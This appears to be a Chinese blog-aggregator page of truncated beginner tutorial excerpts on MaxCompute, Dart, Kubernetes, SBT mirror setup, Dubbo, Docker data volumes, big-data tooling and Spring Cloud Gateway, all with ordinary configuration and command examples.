一、什么是MaxCompute? 大数据计算服务(MaxCompute,原名ODPS)是一种快速、完全托管的EB级数据仓库解决方案。 随着数据收集手段不断丰富,行业数据大量积累,数据规模已增长到了传统软件行业无法承载的海量数据(百TB、PB、EB)级别。MaxCompute致力于批量结构化数据的存储和计算,提供海量数据仓库的解决方案及分析建模服务。 由于单台服务器的处理能力有限,海量数据的分析需要分布式的计算模型。分布式的计算模型对数据分析人员要求较高且不易维护。数据分析人员不仅需要了解业务需求,同时还需要熟悉底层分布式计算模型。MaxCompute为您提供完善的数据导入方案以及多种经典的分布式计算模型,您可以不必关心分布式计算和维护细节,便可轻松完成大数据分析。 二、概述与产品特点 1、采用分布式架构,规模可以根据需要平行扩展2、自动存储容错机制,保障数据高可靠性3、所有计算在沙箱中运行,保障数据高安全性4、以 RESTful API 的方式提供服务5、支持高并发、高吞吐量的数据上传下载6、提供离线计算、机器学习两类模型及计算服务7、支持基于 SQL、MapReduce、Graph、MPI 等多种编程模型的数据处理方式8、支持多租户,多个用户可以协同分析数据9、支持基于 ACL 和 Policy 的用户权限管理,可以配置灵活的数据访问控制策略,防止数据越权访问 三、主要应用场景 日志分析、机器学习、数据仓库、数据挖掘、用户画像、数据化运营、商业智能等,例如: 四、MaxCompute 系统架构 五、MaxCompute 作业流程

优秀的个人博客,低调大师

Dart 入门教程

[TOC] 一、开篇 dart 语言具有如下特性 一切变量皆是对象,每个对象都是类的实例。int、double、函数、 null 等都是对象,所有对象都继承自 Object 类 dart 是强类型语言,但由于具备类型推导功能所以类型声明是可选的 dart 支持顶级函数、静态函数、实例函数,也允许在函数中嵌套函数,即局部函数。类似的,dart 也支持顶级变量、静态变量和实例变量 dart 没有关于 public、protected、private 的关键字。通过为变量标识符添加下划线前缀,表明该标识符对其库是私有的 .... 先来看个小例子 /** * 多行注释 */ void printString(String msg) { print("msg value: $msg"); } void main() { var msg = "H

优秀的个人博客,低调大师

Kubernetes - 1 入门介绍

什么是Kubernetes Kubernetes这个名字起源于希腊语,意思是舵手,由于k到s之间有8个字符又简称k8s。Google在2014年开源了Kubernetes项目,基于容器技术的分布式管理系统,在Docker技术的基础上,为容器化的应用提供部署运行、资源调度、服务发现和动态伸缩等一系列完整功能,提高了大规模容器集群管理的便捷性。 为什么要使用Kubernetes 轻量:与使用VM虚拟机相比,容器镜像创建的简便性和效率更高。 敏捷:持续集成和部署,通过快速的升级或回滚,提供可靠且频繁的容器映像构建和部署。 分离:在构建时创建镜像,不依赖发布环境,将运行环境及基础架构分离。 一致:开发环境、测试环境、生产环境的运行环境一致性。 移植:不依赖基础架构,可在不同的平台上快速应用。 隔离:通过NameSpace实现不同环境中、不同租户的资源隔离。 解耦:应用程序被分解成较小的独立部分,而不是整体在一台单机上运行。 伸缩:可将应用基于资源利用率等进行快速的动态伸缩。 效率:高密度及高效率的资源利用率。 Kubernetes架构 Kubernetes集群中有2种角色,一个是Master作为集群的管理节点,负责管理集群,提供集群的资源数据访问入口,另外一个是Node用来承载被分配Pod的运行,是Pod运行的宿主机。 Kubernetes Master apiserver 提供了资源操作的唯一入口,并提供认证、授权、访问控制、API 注册和发现等机制controller manager 负责维护集群的状态,比如故障检测、自动扩展、滚动更新等scheduler 负责资源的调度,按照预定的调度策略将 Pod 调度到相应的机器上etcd 保存了整个集群的状态 Kubernetes Node kubelet 负责维护容器的生命周期,同时也负责 Volume和 Network 的管理Container runtime 负责镜像管理以及 Pod 和容器的真正运行时kube-proxy 负责为 Service 提供 cluster 内部的服务发现和负载均衡 除了核心组件之外的其他组件 kube-dns 负责为整个集群提供 DNS 服务Ingress Controller 为服务提供外网入口Heapster 提供资源监控Dashboard 提供 GUIFederation 提供跨可用区的集群Fluentd-elasticsearch 提供集群日志采集、存储与查询 Kubernetes资源和对象 Kubernetes把所有内容都抽象为资源,把资源实例化出来后称为对象。 workload: 工作负载相关Pod, ReplicaSet, Deployment, StatefulSet, DaemonSet, Job, Cronjob, ReplicationController service discover and balance: 服务发现及均衡相关Service, Ingress config and storage: 配置及存储相关ConfigMap, Secret, Volumn, CSI cluster resouce: 集群级资源Namespace, Node, Role, ClusterRole, RoleBinding, ClusterRoleBinding metadata resource: 元数据级资源HPA, PodTemplate, LimitRange

优秀的个人博客,低调大师

SBT无痛入门指南

SBT是 Scala 的构建工具,全称是 Simple Build Tool, 类似 Maven 或 Gradle。 SBT 的野心很大,采用Scala编程语言本身编写配置文件,这使得它稍显另类,虽然增强了灵活性,但是对于初学者来说同时也增加了上手难度。另外由于SBT默认从国外下载依赖,导致第一次构建非常缓慢,使用体验非常糟糕! 如果你是一名Scala初学者,本文希望帮你减轻一些第一次使用的痛苦。 本文的主要内容是帮助初学者从头到尾构建并运行一个Scala项目,重点在于讲解国内镜像仓库的配置。对于每一个操作步骤,会分别针对Windows、Mac和Linux三个主流操作系统进行讲解, 最终帮助你快速构建一个可运行的Scala开发环境。 第一步:安装SBT 单击这里下载SBT 1.3.0,下载完成后解压到指定目录,例如D:\Software\sbt-1.3.0,然后将D:\Software\sbt-1.3.0\bin添加至环境变量PATH。SBT 1.3.0 采用Coursier以无锁的方式并行下载依赖,极大地提升了使用体验! 请确认本机已安装Java运行环境。 第二步:设置国内仓库,加快构建过程 1) 设置全局仓库 首先创建.sbt目录。 如果是Windows系统,则进入CMD执行如下命令: cd C:\Users\USER_NAME mkdir .sbt cd .sbt 如果是Mac或Linux系统,则进入Bash执行如下命令: cd ~ mkdir .sbt cd .sbt 然后创建repositories文件内容如下,并将文件拷贝到 .sbt 目录下, [repositories] local huaweicloud-maven: https://repo.huaweicloud.com/repository/maven/ maven-central: https://repo1.maven.org/maven2/ sbt-plugin-repo: https://repo.scala-sbt.org/scalasbt/sbt-plugin-releases, [organization]/[module]/(scala_[scalaVersion]/)(sbt_[sbtVersion]/)[revision]/[type]s/[artifact](-[classifier]).[ext] 2) 设置所有项目均使用全局仓库配置,忽略项目自身仓库配置 该参数可以通过Java System Property进行设置。在 SBT 中,有三种方法可以设置Java System Property,可以根据需要自行选择。 方法一:修改SBT配置文件(推荐) 提醒一下, sbt-1.3.0/conf/目录下有两个配置文件, sbtconfig.txt仅适用于 Windows平台,而 sbtopts仅适用于 Mac/Linux平台。 针对Windows平台,打开sbt-1.3.0/conf/sbtconfig.txt 文件,在末尾新增一行,内容如下: -Dsbt.override.build.repos=true 针对Mac/Linux平台,打开sbt-1.3.0/conf/sbtopts 文件,在末尾新增一行,内容如下: -Dsbt.override.build.repos=true 方法二: 设置环境变量 在Windows上通过set命令进行设置, set SBT_OPTS="-Dsbt.override.build.repos=true" 在Mac/Linux上使用export命令进行设置, export SBT_OPTS="-Dsbt.override.build.repos=true" 方法三:传入命令行参数 执行 sbt 命令时, 直接在命令后面加上配置参数, sbt -Dsbt.override.build.repos=true 注意,如果由于某种原因, repositories文件并不在默认的 .sbt目录下,则需要通过 -Dsbt.repository.config指定 repositories文件的具体位置,该参数的三种设置方法同 -Dsbt.override.build.repos。例如采用修改SBT配置文件方式 (推荐),则打开 sbt-1.3.0\conf\sbtconfig.txt 文件,在末尾新增如下内容: -Dsbt.override.build.repos=true -Dsbt.repository.config=path_to_repositories_file 第三步:构建并运行第一个Scala项目 1)修改项目SBT构建版本 单击hello-scala下载一个最简单的Scala项目,并解压到指定目录,如D:\idea-projects。由于SBT 1.3.0包含了多项性能提升,如果是已有的本地项目,请手动将项目的SBT构建版本改成1.3.0 。具体方法为:打开project/build.properties文件,将内容修改如下: sbt.version = 1.3.0 在命令行中切换至hello-scala目录,执行sbt命令进入sbt shell, 第一次进入 sbt shell时,由于需要下载相关依赖,大概需要几十秒时间,第二次及以后进入 sbt shell会很快。 检查当前项目的SBT构建版本是否为1.3.0, sbt:hello-scala> sbtVersion [info] 1.3.0 sbt:hello-scala> 2)确认全局仓库是否已经覆盖项目自身仓库 sbt:hello-scala> show overrideBuildResolvers [info] true 确认仓库列表是否与~/.sbt/repositories文件一致: sbt:hello-scala> show fullResolvers 3)编译并运行 确认无误后执行编译命令, sbt:hello-scala> compile [info] Compiling 1 Scala source to D:\idea-projects\hello-scala\target\scala-2.12\classes ... [success] Total time: 4 s, completed 2019-9-16 11:39:41 查看SBT本地缓存,确认一下是否从国内仓库下载依赖。针对不同的操作系统,对应的缓存路径如下: Windows缓存路径是%LOCALAPPDATA%\Coursier\Cache\v1,即如果用户名是joymufeng,则完整路径是C:\Users\joymufeng\AppData\Local\Coursier\Cache\v1。 Linux缓存路径为~/.cache/coursier/v1。 Mac缓存路径为~/Library/Caches/Coursier/v1 。 下面是Windows缓存截图: 最后执行项目,

优秀的个人博客,低调大师

Dubbo实战(一) - 入门

1 背景 随着互联网的发展,网站应用的规模不断扩大,常规的垂直应用架构已无法应对,分布式服务架构以及流动计算架构势在必行,亟需一个治理系统确保架构有条不紊的演进。 1.1 单一应用架构 当网站流量很小时,只需一个应用,将所有功能都部署在一起,以减少部署节点和成本。 此时,用于简化增删改查工作量的数据访问框架(ORM)是关键。 1.2 垂直应用架构 当访问量逐渐增大,单一应用增加机器带来的加速度越来越小,将应用拆成互不相干的几个应用,以提升效率。此时,用于加速前端页面开发的Web框架(MVC)是关键。 1.3 分布式服务架构 当垂直应用越来越多,应用之间交互不可避免,将核心业务抽取出来,作为独立的服务,逐渐形成稳定的服务中心,使前端应用能更快速的响应多变的市场需求。 此时,用于提高业务复用及整合的分布式服务框架(RPC)是关键。 1.4 流动计算架构 当

优秀的个人博客,低调大师

Docker入门-数据挂载

Docker数据管理 在容器中管理数据主要有两种方式: 数据卷(Volumes) 挂载主机目录(Bind mounts) 数据卷 数据卷是一个可供一个或多个容器使用的特殊目录,它绕过UFS,可以提供很多有用的特性: 数据卷可以在容器之间共享和重用 对数据卷的修改会立马生效 对数据卷的更新,不会影响镜像 数据卷默认会一直存在,即使容器被删除 注意: 数据卷的使用,类似于Linux下对目录或文件进行mount,镜像中的被指定为挂载点的目录中的文件会隐藏掉,能显示看的是挂载的数据卷。 Docker中提供了两种挂载方式,-v和-mount Docker新用户应该选择 --mount参数 经验丰富的Docker使用者对-v或者--volume已经很熟悉了,但是推荐使用-mount参数。 创建一个数据卷 docker volume create my-volume 查看指定数据卷的信息 docker volume inspect my-volume 启动一个挂载数据卷的容器: 在用docker run命令的时候,使用--mount标记来将数据卷挂载到容器里。 创建一个名为session-web的容器,并加载一个数据卷到容器中的/webapp目录。 # 方法一 docker run --name session-web -d -p 8888:8080 --mount source=my-volume,target=/webapp session-web:latest # 方法二 docker run --name session-web -d -p 8888:8080 -v my-volume:/webapp session-web:latest 删除数据卷 docker volume rm my-volume 数据卷是被设计用来持久化数据的,它的生命周期独立于容器,Docker不会在容器被删除后自动删除数据卷,并且也不存在垃圾回收这样的机制来处理没有任何容器引用的数据卷。如果需要在删除容器的同时移除数据卷。可以在删除容器的时候使用docker rm -v这个命令。 无主的数据卷可能会占据很多空间,要清理请使用以下命令 docker volume prune 挂载主机目录 使用--mount标记可以指定挂载一个本地主机的目录到容器中去 # 方法一 docker run --name session-web -d -p 8888:8080 \ -v my-volume:/webapp \ session-web:latest # 方法二 docker run --name session-web -d -p 8888:8080 \ --mount type=bind,source=/src/webapp,target=/opt/webapp session-web:latest 上面的命令加载主机的/src/webapp目录到容器的/opt/webapp目录。这个功能在进行测试的时候十分方便,比如用户可以放置一些程序到本地目录中,来查看容器是否正常工作。 本地目录的路径必须是绝对路径 以前,使用-v参数时如果本地目录不存在Docker会自动为你创建一个文件夹。 现在,使用--mount参数时如果本地目录不存在,Docker会报错。Docker挂载主机目录的默认权限是读写,用户也可以通过增加readonly指定为只读。 挂载一个本地主机文件作为数据卷 --mount标记也可以从主机挂载单个文件到容器中 # 方法一 docker run --rm -it \ --mount type=bind,source=#HOME/.bash_history,target=/root/.bash_history \ ubuntu:17.10 bash # 方法二 docker run --rm -it \ -v $HOME/.bash_history:/root/.bash_history \ ubuntu:17.10 bash

优秀的个人博客,低调大师

大数据入门干货

首先,提及大数据一词的概念。大数据本质还在于数据,但是它有着新的特征亮点。包括:数据来源广,数据格式多样化(结构化数据、非结构化数据、Excel文件、文本文件等)、数据量大(最少也是TB级别的、甚至可能是PB级别)、数据增长速度快等等。 扩展讲大数据的4个基本特征,我们将进行下面额思考: 1.数据来源广? 广泛的数据来源从何而来,通过何种方式进行采集与汇总?相对应的我们出现Sqoop, Cammel,Datax等工具。 2.数据采集之后,该如何存储? 采集之后,为了方便存储,我们对应的出现了GFS,HDFS,TFS等分布式文件存储系统。 并且,介于数据的增长速度非常之快,这也就要求我们,数据存储必须可以进行水平扩展。 3.数据存储之后,该如何通过运算快速转化成一致的格式,又该如何快速运算出自己想要的结果? 对此,MapReduce的分布式运算框架提出了解决方案。但是由于MapReduce需要java的编程代码较多,由此,又出现了Hive,Pig等将SQL转化成MapReduce的解析引擎;再有,因普通的MapReduce只能一批一批地批量处理数据,时间消耗过多,最终目的又要求我们输入的一条数据就能得到结果,于是又出现了Storm/JStorm这样的低时延的流式计算框架;但是如果同时需要批处理和流处理,按照如上就得搭两个集群,Hadoop集群(包括HDFS+MapReduce+Yarn)和Storm集群,不易于管理,所以出现了Spark这样的一站式的计算框架,既可以进行批处理,又可以进行流处理(实质上是微批处理)。而后Lambda架构,Kappa架构的出现,又提供了一种业务处理的通用架构。 4.此外,为了提高工作效率,加快运速度,出现了一些辅助工具: Ozzie,azkaban:定时任务调度的工具。 Hue,Zepplin:图形化任务执行管理,结果查看工具。 Scala语言:编写Spark程序的最佳语言,当然也可以选择用Python。 Python语言:编写一些脚本时会用到。 Allluxio,Kylin等:通过对存储的数据进行预处理,加快运算速度的工具。

优秀的个人博客,低调大师

Spring Cloud Gateway 入门

文章首发于公众号《程序员果果》地址:https://mp.weixin.qq.com/s/wRwq99fNEW4gqgHvR9a-gQ 简介 Spring Cloud Gateway ,相比之前我们使用的 Zuul(1.x) 它有哪些优势呢?Zuul(1.x) 基于 Servlet,使用阻塞 API,它不支持任何长连接,如 WebSockets。Spring Cloud Gateway 使用非阻塞 API,支持 WebSockets,支持限流等新特性。本文首先用官方的案例带领大家来体验下Spring Cloud的一些简单的功能。 创建工程 创建工程springcloud工程,名为springcloud-gateway-hello pom.xml 内容如下: <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.1.2.RELEASE</version> <relativePath/> <!-- lookup parent from repository --> </parent> <groupId>com.gf</groupId> <artifactId>springcloud-gateway-hello</artifactId> <version>0.0.1-SNAPSHOT</version> <name>springcloud-gateway-hello</name> <description>Demo project for Spring Boot</description> <properties> <java.version>1.8</java.version> <spring-cloud.version>Greenwich.RELEASE</spring-cloud.version> </properties> <dependencies> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-gateway</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> </dependencies> <dependencyManagement> <dependencies> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-dependencies</artifactId> <version>${spring-cloud.version}</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build> <repositories> <repository> <id>spring-milestones</id> <name>Spring Milestones</name> <url>https://repo.spring.io/milestone</url> </repository> </repositories> </project> 创建一个简单的路由 Spring Cloud Gateway 使用路由来处理对下游服务的请求。创建RouteLocator的Bean,在本案例将把所有请求路由到 http://httpbin.org。路由可以通过多种方式配置: @SpringBootApplication public class SpringcloudGatewayHelloApplication { public static void main(String[] args) { SpringApplication.run( SpringcloudGatewayHelloApplication.class, args ); } @Bean public RouteLocator myRoutes(RouteLocatorBuilder builder) { return builder.routes() .route(p -> p .path("/get") .filters(f -> f.addRequestHeader("Hello", "World")) .uri("http://httpbin.org:80")) .build(); } } 上述myRoutes方法RouteLocatorBuilder可以很容易地用于创建路由。除了创建路由之外,RouteLocatorBuilder还允许你在路由中添加各种 predicates(断言) 和 filters,以便根据特定条件更改请求和响应。 上面创建的route可以让请求“/get”请求都转发到“http://httpbin.org/get”。在route配置上,我们添加了一个filter,该filter会将请求添加一个header,key为hello,value为world。 启动项目,访问http://127.0.0.1:8080/get,显示如下: { "args": { }, "headers": { "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,zh-TW;q=0.8", "Cache-Control": "max-age=0", "Connection": "close", "Forwarded": "proto=http;host=\"127.0.0.1:8080\";for=\"127.0.0.1:55607\"", "Hello": "World", "Host": "httpbin.org", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36", "X-Forwarded-Host": "127.0.0.1:8080" }, "origin": "127.0.0.1, 124.74.78.150", "url": "http://127.0.0.1:8080/get" } 可见当向gateway工程请求“/get”,gateway会将工程的请求转发到“http://httpbin.org/get”,并且在转发之前,加上一个filter,该filter会将请求添加一个header,key为hello,value为world。 使用Hystrix 在spring cloud gateway中可以使用Hystrix。Hystrix是 spring cloud中一个服务熔断降级的组件,在微服务系统有着十分重要的作用。Hystrix 在 spring cloud gateway中是以filter的形式使用的,代码如下: @Bean public RouteLocator myRoutes(RouteLocatorBuilder builder) { return builder.routes() .route(p -> p .path("/get") .filters(f -> f.addRequestHeader("Hello", "World")) .uri("http://httpbin.org:80")) .route(p -> p .host("*.hystrix.com") .filters(f -> f.hystrix(config -> config .setName("mycmd") .setFallbackUri("forward:/fallback"))) .uri("http://httpbin.org:80")) .build(); } 在上面的代码中,我们使用了另外一个router,该router使用host去断言请求是否进入该路由,当请求的host为 “*.hystrix.com”,都会进入该router,该router中有一个hystrix的filter,该filter可以配置名称、和指向性fallback的逻辑的地址,比如本案例中重定向到了“/fallback”。 现在写的一个“/fallback”的l逻辑: @RequestMapping("/fallback") public String fallback() { return "fallback"; } 使用curl执行以下命令: curl --dump-header - --header 'Host: www.hystrix.com' http://localhost:8080/delay/3 返回的响应为: HTTP/1.1 200 OK Content-Type: text/plain;charset=UTF-8 Content-Length: 8 fallback 可见,带host www.hystrix.com 的请求执行了hystrix的fallback的逻辑。 源码 https://github.com/gf-huanchupk/SpringCloudLearning/tree/master/chapter13/springcloud-gateway-hello

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册